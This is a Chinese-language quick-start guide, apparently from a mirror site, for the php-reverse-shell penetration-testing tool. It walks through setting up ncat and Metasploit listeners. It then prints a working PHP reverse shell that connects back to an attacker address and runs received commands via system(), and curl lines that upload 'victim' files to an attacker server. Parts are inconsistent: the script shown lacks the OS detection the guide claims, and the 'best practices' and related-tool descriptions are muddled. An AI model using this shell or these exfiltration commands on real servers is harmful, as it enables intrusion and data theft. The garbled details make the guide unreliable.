PHP反向Shell工具入门指南
php-reverse-shell项目地址:https://gitcode.com/gh_mirrors/ph/php-reverse-shell
项目介绍
PHP反向Shell工具是pentestmonkey在GitHub上维护的一个开源项目,旨在提供一种跨平台(Linux, macOS 和 Windows)进行安全测试和渗透测试的手段。此工具通过创建一个可自动检测操作系统并适应不同网络环境的反向shell,使得远程控制和数据提取变得更加便捷。它经过了XAMPP及Kali Linux等环境下的严格测试,确保了其稳定性和可靠性。
项目特性包括但不限于:
- 自适应OS检测: 根据运行环境选择正确的执行方式。
- 兼容性广泛: 支持多种操作系统,包括Linux, macOS以及Windows。
- 易于部署: 简单上传至目标服务器即可使用。
- 多用途: 可用于文件上传下载,命令执行等场景。
项目快速启动
准备工作
首先,从GitHub克隆该项目到本地:
git clone https://github.com/pentestmonkey/php-reverse-shell.git
接着,将php-reverse-shell.php
复制到你的web服务器根目录下,例如在XAMPP环境下可能位于/opt/lampp/htdocs/
。
启动监听器
在Kali Linux或其他渗透测试环境中设置监听器,等待来自目标机器的连接请求:
使用ncat
ncat -lvnp PORT
其中PORT
替换为你希望监听的端口号。
使用Metasploit的multi/handler
打开Metasploit框架并设置参数:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT YOUR_PORT_NUMBER
exploit
记得将YOUR_IP_ADDRESS
和YOUR_PORT_NUMBER
替换成实际值。
触发反向Shell
在目标机上执行以下PHP脚本触发反向Shell:
<?php
$ip = "YOUR_IP_ADDRESS";
$port = YOUR_PORT_NUMBER;
$bufsize = 1024;
$sock = fsockopen($ip,$port);
if (!$sock)
die("Could not open socket\n");
while(!feof($sock)) {
$data = fgets($sock,$bufsize);
if (trim($data) == '') continue;
system($data." > tmp");
fwrite($sock,file_get_contents('tmp'));
}
fclose($sock);
?>
将YOUR_IP_ADDRESS
和YOUR_PORT_NUMBER
替换为之前配置好的监听地址和端口。
应用案例和最佳实践
案例一: 文件传输
利用cURL从受害者计算机上传文件到你的服务器或反之:
# 从受害者的PC上传文件到服务器
curl -skL -X POST https://yourserver.com/uploads.php -F file=@/path/to/victim_file
# 从服务器下载文件到受害者的PC
curl -skL -X GET https://yourserver.com/downloads.php?file=/path/to/server_file -o local_filename
最佳实践
为了提高安全性及避免引起不必要的警报,建议采取下列措施:
- 定期检查防火墙规则以允许必要的流量。
- 对敏感操作如文件上传下载进行权限验证。
- 在执行前对所有外部输入进行充分的数据清洗和验证。
典型生态项目
对于更复杂的使用场景,可以探索以下几个相关项目:
- LinEnum: 林纳克斯系统枚举脚本,适用于深入的安全评估。
- Sherlock: 基于用户名的信息泄露检测工具。
- TheHarvester: 互联网信息搜集工具,用于收集公开可用的目标组织信息。
以上项目都提供了额外的功能和服务,能够配合PHP反向Shell工具构建出更为完整的渗透测试方案。
php-reverse-shell项目地址:https://gitcode.com/gh_mirrors/ph/php-reverse-shell